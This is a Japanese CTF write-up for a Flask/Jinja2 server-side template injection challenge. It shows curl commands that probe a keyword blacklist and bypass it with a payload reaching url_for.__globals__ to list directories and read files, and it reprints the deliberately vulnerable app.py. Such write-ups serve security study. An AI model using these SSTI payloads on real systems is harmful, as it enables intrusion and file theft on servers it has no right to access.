問題文
We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you? http://185.168.131.123
writeup
トップのHTMLソースは以下の通り。
root@kali:~# curl http://185.168.131.123 Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>
/test
にアクセスすると、test
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/test test
/testhoge
にアクセスすると、testhoge
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/testhoge testhoge
入力した文字列がレスポンスにそのまま反映されるようだ。
Template Engineを使用している可能性があるため、Template Injectionを試す。
root@kali:~# curl "http://185.168.131.123/\{\{7+7\}\}" 77 root@kali:~# curl "http://185.168.131.123/\{\{7*7\}\}" 49
ビンゴ。いけそうだ。
flask+jinja2と仮定し、グローバル変数を表示させてみる。
以下のflaskのコードのrv.globals.update
に格納されている変数が、テンプレート内で使用できるグローバル変数。
request
変数を確認するとエラー。
root@kali:~# curl "http://185.168.131.123/\{\{request\}\}" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
g
変数を確認すると成功。そしてflaskを使用している確証を得る。
root@kali:~# curl "http://185.168.131.123/\{\{g\}\}" <flask.g of 'app'>
何かフィルターされているのかもしれない。試してみる。
root@kali:~# curl "http://185.168.131.123/\{%25print(request)%25\}" () root@kali:~# curl "http://185.168.131.123/\{%25print('aaa' + request + 'zzz')%25\}" aaazzz
どうやら"request"という文字列が除去されているようだ。
他、いくつか試すと、少なくとも以下の文字列が除去の対象となっている。 ブラケットは痛い。
- [
- ]
- open
- config
- request
- attr
- class
ここで、先週開催のTokyoWesternsCTFのflask+Jinja2の問題の解法tweetを思い出した。
神社の想定解: url_for.__globals__['current_app'].config.FLAG
— icchy (@icchyr) 2018年9月3日
とりあえず先に問題だけ作ってからflask, werkzurgのソースコードとにらめっこして解いたという背景があります
試してみる。
root@kali:~# curl "http://185.168.131.123/\{\{url_for\}\}" <function url_for at 0x7fde0c3b7a28>r
ビンゴ!
タイムリーすぎて、
「あっ、これ進●ゼミでやったところだ!」という気持ちになる。
url_for
から辿って__globals__
にアクセスできたため、そこからosモジュールおよびビルトインモジュールにアクセスする。[]
が使用できないため、__getitem__
で代替する。
カレントディレクトリ内にフラグファイルを発見する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('os').listdir('./')\}\}" ['app.py', 'flag_secret_file_910230912900891283']r
フラグファイルを表示する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('__builtins__').__getitem__('open')('flag_secret_file_910230912900891283').read()\}\}" flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
フラグゲット。
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
補足
何のワードが除去されていたか確認するため、app.py
も見てみた。
from flask import Flask, render_template, render_template_string app = Flask(__name__) def blacklist_replace(template): blacklist = ["[","]","config","self","from_pyfile","|","join","mro","class","request","pop","attr","args","+"] for b in blacklist: if b in template: template=template.replace(b,"") return template @app.route("/") def index_template(): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>" @app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long" while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug=False)